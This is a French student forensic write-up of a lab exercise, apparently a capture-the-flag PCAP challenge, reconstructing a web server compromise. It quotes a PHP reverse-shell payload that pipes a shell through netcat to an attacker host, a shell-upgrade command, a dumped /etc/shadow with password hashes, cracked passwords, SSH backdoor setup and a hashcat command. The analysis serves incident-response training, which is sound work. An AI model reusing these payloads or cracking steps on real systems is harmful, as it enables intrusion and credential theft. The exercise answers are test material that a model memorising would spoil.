Exercice 3 : R6C01

Le serveur de production est un serveur web, analyse des requêtes http.

Il y a une ip [Link] qui fait une requête get sur le endpoint /development à
[Link] ( numéro de requête 4). Le serveur répond une page où on peut upload des
documents avec une méthode post :

À [Link], on observe effectivement une requête POST provenant de cette même adresse
IP vers l’URL /development/[Link]. En analysant l’onglet Content-Type, on remarque
que le contenu envoyé contient le payload suivant : <?php exec("rm /tmp/f; mkfifo /tmp/f; cat
/tmp/f | /bin/sh -i 2>&1 | nc [Link] 4242 > /tmp/f") ?>

Ce script PHP ouvre un reverse shell en supprimant d’abord un fichier temporaire existant,
puis en créant un canal de communication (FIFO), et enfin en utilisant ce canal pour
exécuter un shell interactif dont les entrées et sorties sont redirigées via netcat (nc) vers
l’attaquant à l’adresse [Link] sur le port 4242, permettant à l’attaquant de prendre
le contrôle à distance du serveur.

Une série de commande est effectué la première est “id” à [Link] ( trame 36 ) le serveur
lui répond ( trame 38 )
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data est un utilisateur système classique utilisé par les serveurs web (Apache, Nginx,
etc.). L'utilisateur www-data est souvent utilisé pour exécuter des scripts PHP et d'autres
processus associés au serveur web. L’objectif maintenant pour l’attaquant va être de monter
en privilège.

A [Link] une nouvelle commande ( trame 44 ) est faite par l’ip [Link], python3
-c 'import pty;[Link]("/bin/bash")'
Ce système permet d’obtenir un shell interactif pour pouvoir exécuter des commandes pour
pouvoir exécuter des commandes plus complexes.

Le serveur répond ( trame 45 )

“www-data@overpass-production:/var/www/html/development/uploads$ “
Donc l’attaquant a bien maintenant un shell interactif en étant user www-data

A [Link] une trame TCP ( numéro 49 ) à exécuter cette commande ls -lAh

Cela affiche les fichiers dans un format détaillé (liste longue), incluant les permissions, la
taille, le propriétaire, la date de dernière modification, affiche tous les fichiers, sauf .
(répertoire courant) et .. (répertoire parent).. et affiche la taille des fichiers de manière
lisible (par exemple, 1K, 234M, 2G). Ce qui pourrait permettre à l'attaquant de trouver des
fichiers intéressants, comme des mots de passe, des configurations ou des données
sensibles.
En réponse immédiate le serveur donne la taille de tous les fichiers du système (trame
numéro 54 ) :
“total 8.0K” ainsi que les fichiers avec leurs droits :
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 [Link]

A [Link] l’attaquant envoie une nouvelle commande cat .overpass ( trame 60 ) cela
demande au système d'afficher le contenu du fichier caché .overpass dans le terminal. Cela
pourrait être un fichier contenant des informations sensibles ou des données exploitables
par l'attaquant.

Le serveur répond la chaîne de caractères suivante ( trame 63 ) :

,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN

À [Link] ( trame 71 ), l'attaquant demande de changer d'utilisateur pour se connecter en

tant que "james" en utilisant la commande su james. Le serveur demande le mot de
passe de cette utilisateur (trame 74)

A [Link] ( tame 76 ) l’attaquant envoi un payload de mot de passe dans une trame TCP
avec comme mot de passe : whenevernoteartinstant

A [Link] ( trame 111) l’attaquant tente cette fois-ci de regarder le fichier contenant tous les
utilisateurs avec les mots de passe hachés. Commande sur le système “sudo cat
/etc/shadow”

Le serveur répond (trame 114) en affichant tous les utilisateurs du système ainsi que leur ID
et mot de passe haché :
root:*:1[Link]
daemon:*:1[Link]
bin:*:1[Link]
sys:*:1[Link]
sync:*:1[Link]
games:*:1[Link]
man:*:1[Link]
lp:*:1[Link]
mail:*:1[Link]
news:*:1[Link]
uucp:*:1[Link]
proxy:*:1[Link]
www-data:*:1[Link]
backup:*:1[Link]
list:*:1[Link]
irc:*:1[Link]
gnats:*:1[Link]
nobody:*:1[Link]
systemd-network:*:1[Link]
systemd-resolve:*:1[Link]
syslog:*:1[Link]
messagebus:*:1[Link]
_apt:*:1[Link]
lxd:*:1[Link]
uuidd:*:1[Link]
dnsmasq:*:1[Link]
landscape:*:1[Link]
pollinate:*:1[Link]
sshd:*:1[Link]
james:$6$[Link]$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SK
GX.5PyMpzAYo3Cg/:1[Link]
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37Y
CyukiHJPhi4IU7H0:1[Link]
szymex:$6$[Link]$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1w
XxKitcPUjcXlX/:1[Link]
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M
6niFseB9VLBWSo0:1[Link]
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1
Sw/fd2cu0kC6dUP.:1[Link]

À [Link] (trame 120), l'attaquant effectue un téléchargement depuis GitHub d'un fichier
qui semble être une backdoor SSH en utilisant la commande suivante :
“git clone [Link]

Une backdoor SSH est un type de porte dérobée qui permet à un attaquant d'obtenir un
accès distant non autorisé à un système via le protocole SSH. En installant une telle
backdoor, l'attaquant peut se connecter à la machine compromise à tout moment, même si
l'accès normal (via des identifiants ou des clés SSH) est désactivé ou modifié. Cela permet
de maintenir l'accès au système

A partir de [Link] (trame 134) jusqu’à [Link] (trame 3379) , le serveur web et le serveur
web de github avec l’ip [Link] vont communiquer via le protocole https pour pouvoir
télécharger la backdoor ssh.
En faisant une petite recherche sur le web on retrouve bien le nom de github qui ressort :
A [Link] (trame 3411) Le paquets contenant la backdoor ssh est bien sur le serveur, car le
serveur propose d’entrer une commande : james@overpass-production:~$

De [Link] (trame 3436) à [Link] (trame 3456) l’attaquant configure sa backdoor ssh en
mettant sa clé publique

A [Link] (trame 3458) l’attaquant exécute une commande pour attribuer les droits
d'exécution sur le serveur au fichier backdoor se trouve dans ~/ssh-backdoor/backdoor voici
la commande : chmod +x backdoor

A [Link] (trame 3479) l’attaquant éxecute la backdoor avec la commande ./backdoor -a

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a4
1899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Cette commande permet de générer un reverse shell vers une machine de l’attaquant.

Dans cette situation, le hash dans la backdoor SSH sert probablement à l'authentification
sécurisée de l'attaquant sur un serveur distant via SSH. Ce hash peut être utilisé pour
valider des mots de passe ou des clés, et il peut aussi être utilisé pour garantir l'intégrité des
fichiers de la backdoor.

À [Link] (trame 3482), le serveur confirme que la backdoor SSH a été correctement
initialisée et écoute sur le port 2222 avec le message suivant :​
SSH - 2020/07/21 [Link] : Backdoor SSH démarrée sur l'adresse [Link]:2222.

Cela signifie que le serveur a ouvert un port (ici, le port 2222) pour accepter des connexions
SSH entrantes et est désormais en attente d'une tentative de connexion, permettant ainsi à
un attaquant d'établir un accès distant via ce port.

Nous allons maintenant répondre à ces questions :

●​ Quelle était l’URL de la page utilisée pour télécharger un shell inversé ?
L'URL utilisée pour télécharger le shell inversé est /development/[Link]. C'est à cet
endroit que le payload PHP a été envoyé pour établir un shell inversé.

●​ Quel "payload" l’attaquant a-t-il utilisé pour accéder ?

L'attaquant a utilisé le payload suivant pour établir le shell inversé :

<?php exec("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [Link] 4242 >
/tmp/f") ?>

●​ Quel mot de passe l'attaquant a-t-il utilisé pour l'escalade de privilège ?

whenevernoteartinstant

●​ Comment l’attaquant a-t-il établi la persistance ?

 L'attaquant a établi la persistance en téléchargeant une backdoor SSH depuis
GitHub

●​ En utilisant la liste de mots "fasttrack", combien de mots de passe système étaient

craquables ?

Pour l’utilisateur paradox : security3

Pour l’utilisateur szymex: abcd123

Pour l’utilisateur bee : secret12

Pour l’utilisateur muirland: 1qaz2wsx

Etude de la backdoor

●​ Quel est le hach par défaut de la backdoor ?

Le hash par défaut de la backdoor est :

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9
e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

●​ Quel est le "salt" codé en dur de la backdoor ?

 En allant dans le github de la backdoor:
([Link] nous
pouvons voir le salt dans le fichier en go : 1c362db832f3f864c8c2fe05f2002a05

●​ Quel est le hash utilisé par l’attaquant ? (revenir au PCAP)

(Voir au dessus explication) Le hash est :

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e3
70b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

●​ Cracker le hash à l'aide de rockyou et d'un outil de craquage de votre choix. Quel est
le mot de passe?

Note un hash de compose comme ceci :

SHA512(password + 'salt') = 'hash

Commande : hashcat --force -m 1710 -a 0 [Link] /usr/share/wordlists/[Link]

Réponse : novembre16
 Synthèse Managériale

Le 21 Juillet 2020 un pirate s'est introduit dans votre réseau et à commencer son attaque :

1. Accès initial (Reverse Shell via PHP)

●​ [Link] : Un attaquant fait une requête sur le serveur (à l’url /development).
●​ [Link] : L'attaquant envoie un script malveillant sur le serveur via un formulaire de
téléchargement. Ce script (PHP) permet à l'attaquant d'ouvrir une "porte dérobée"
pour accéder à la machine à distance.
●​ [Link] : Le serveur répond à une commande envoyée par l'attaquant pour
confirmer l’accès au système (il est l'utilisateur www-data).

2. Escalade des privilèges

●​ [Link] : L'attaquant tente de monter en privilèges en utilisant une commande pour

obtenir des droits administrateurs.
●​ [Link] : L'attaquant explore le système pour identifier des fichiers importants et
sensibles.
●​ [Link] : L'attaquant tente de se connecter en tant qu'utilisateur "james" avec un
mot de passe qu'il a trouvé.

3. Accès à des informations sensibles

●​ [Link] : L'attaquant cherche à lire un fichier système contenant des mots de passe
hachés, ce qui lui permettrait de déchiffrer les identifiants des utilisateurs.
●​ [Link] : L'attaquant télécharge un paquet depuis GitHub pour maintenir son accès
au serveur même si les mots de passe sont modifiés.

4. Maintien de l'accès (Persistence)

●​ [Link] : L'attaquant configure la backdoor SSH en installant sa propre clé d'accès.

●​ [Link] : L'attaquant attribue des permissions au fichier de la backdoor pour qu'il
puisse s'exécuter.
●​ [Link] : Il exécute la backdoor, qui ouvre un canal d'accès permanent au serveur
pour l'attaquant.